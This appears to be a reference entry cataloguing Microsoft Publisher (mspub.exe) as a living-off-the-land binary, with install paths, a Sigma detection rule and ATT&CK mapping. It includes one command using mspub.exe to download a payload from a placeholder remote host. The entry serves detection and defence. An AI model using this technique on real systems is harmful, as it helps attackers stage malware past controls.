.. /Mspub.exe
Star

Download

Microsoft Publisher

Paths:

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe
C:\Program Files\Microsoft Office\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe
C:\Program Files\Microsoft Office\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe
C:\Program Files\Microsoft Office\Office14\MSPUB.exe

Acknowledgements:

Nir Chako (Pentera) (@C_h4ck_0)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml
IOC: Suspicious Office application internet/network traffic

Download

Downloads payload from remote server

mspub.exe https://example.com/payload

Usecase: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1105